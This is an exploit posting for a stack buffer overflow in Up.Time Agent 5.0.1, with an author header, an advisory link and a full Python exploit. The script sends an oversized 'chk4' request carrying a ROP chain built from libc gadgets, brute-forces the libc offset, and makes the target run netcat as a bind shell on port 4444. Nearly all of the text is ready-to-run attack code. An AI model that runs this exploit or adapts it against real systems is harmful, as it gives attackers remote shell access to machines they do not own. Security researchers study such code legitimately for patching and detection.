# Exploit Title: Up.Time Agent 5.0.1 Stack Overflow
# Date: 28/11/2013
# Exploit Author: Denis Andzakovic
# Vendor Homepage: http://www.uptimesoftware.com/
# Version: 5.0.1
# Tested on: Debian 7 (Kernel 3.2.0), Kali (Kernel 3.7)

 
(    , )     (,
  .   '.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .'), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..

Uptime Agent 5.0.1 Stack Overflow Vulnerability
Affected versions: Uptime Agent 5.0.1 (i386)

PDF:
http://www.security-assessment.com/files/documents/advisory/Up.Time%20Agent%205.0.1%20Stack%20Overflow.pdf

#!/usr/bin/python

#
# Stack based buffer overflow in Up.Time Agent 5.0.1 (i386).
# This exploit will create a bind shell running on port
# 4444 on the targeted host.
#
# Author: Denis Andzakovic
# Date: 30/10/2013
#

import socket
import sys
import time
import argparse
from struct import pack

def copyBytes(string, location):
	pcaret = 0xd8f30 # pop ecx ; pop eax ;;
	movbyte = 0x29ecf # mov [eax] ecx ;;
	chain = pack("<I",pcaret+libcOffset)
	chain += str(string) 
	chain += pack("<I",location)
	chain += pack("<I",movbyte+libcOffset)

	return chain

def copyNullByte(location):
	# NOTE: eax *MUST* be null before hitting this chain.
	popedx = 0x1a9e # pop edx ;;
	nullcpy = 0x11f98d # mov [edx] al ; pop ebx ;;
	chain = pack("<I",popedx+libcOffset)
	chain += pack("<I",location) # address of NULL
	chain += pack("<I",nullcpy+libcOffset)
	chain += "BEES" # padding

	return chain


def sendSploit(ip, port, libcOffset):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))

	customstack = 0x0804d380

	# gadgets!
	pcaret = 0xd8f30 # pop ecx ; pop eax ;;
	popebx = 0x78af4 # pop ebx ;;
	movbyte = 0x29ecf # mov [eax] ecx ;;
	xoreax = 0x796bf # xor eax eax ;;
	popedx = 0x1a9e # pop edx ;;
	pcdret = 0x2a6eb # pop ecx ; pop edx ;;
	addeax = 0x7faa8 # add eax 0xb ;;
	callsys = 0xa10f5 # call gs:[0x10] ;;
	nullcpy = 0x11f98d # mov [edx] al ; pop ebx ;;


	# We will be executing "/bin//nc -lp4444 -e/bin/sh" using execve.
	# Arguments passed to execve will be loaded at our custom stack location
	rop = copyBytes("/bin",customstack)
	rop += copyBytes("//nc",customstack+4)
	rop += copyBytes("-lp4",customstack+9)
	rop += copyBytes("444A",customstack+13)
	rop += copyBytes("-e/b",customstack+17)
	rop += copyBytes("in/b",customstack+21)
	rop += copyBytes("shAA",customstack+24)
	
	# Set up the pointer array for execve()
	rop += copyBytes(pack("<I",customstack),customstack+27)
	rop += copyBytes(pack("<I",customstack+9),customstack+31)
	rop += copyBytes(pack("<I",customstack+17),customstack+35)

	# Set up Null bytes
	rop += pack("<I",xoreax+libcOffset)
	rop += copyNullByte(customstack+8)	
	rop += copyNullByte(customstack+16)	
	rop += copyNullByte(customstack+26)	
	rop += copyNullByte(customstack+39)	
	rop += copyNullByte(customstack+40)	
	rop += copyNullByte(customstack+41)	
	rop += copyNullByte(customstack+42)	

	# Load parameters into relevant registers and Call execve
	rop += pack("<I",pcdret+libcOffset) 
	rop += pack("<I",customstack+27)
	rop += pack("<I",customstack+39)
	rop += pack("<I",popebx+libcOffset)
	rop += pack("<I",customstack)
	rop += pack("<I",xoreax+libcOffset)
	rop += pack("<I",addeax+libcOffset)
	rop += pack("<I",callsys+libcOffset)
	rop += "AAAA"

	djubre = "chk4 " + "A"*243

	s.sendall(djubre + rop)
	data = s.recv(1024)
	s.close()

parser = argparse.ArgumentParser(description='Uptime Agent 5.0.1 CHK4 Buffer Overflow')
parser.add_argument('-d','--host', help="IP Address of target machine", required=True)
parser.add_argument('-p','--port', help="Port of target machine", required=True)
args = parser.parse_args()

spinnerChars = ["|","/","-","\\","|","/","-","\\"]
spinnerIndex = 0

print "[+] Attacking " + args.host + " on port " + args.port
libc= 0xb7000
for i in range(0x000,0xfff):
	libcOffset = (libc+i)*0x1000
	print spinnerChars[spinnerIndex] ," - Bruteforcing LibC Offset - ", hex(libcOffset),"                       \r",
	sys.stdout.flush()

	# 0xb7123 = 0xb7123000
	sendSploit(args.host,int(args.port),libcOffset)

	spinnerIndex = spinnerIndex+1
	if(spinnerIndex == 8):
		spinnerIndex = 0

print "\n[+] Completed! Access shell using 'nc <targethost> 4444'"
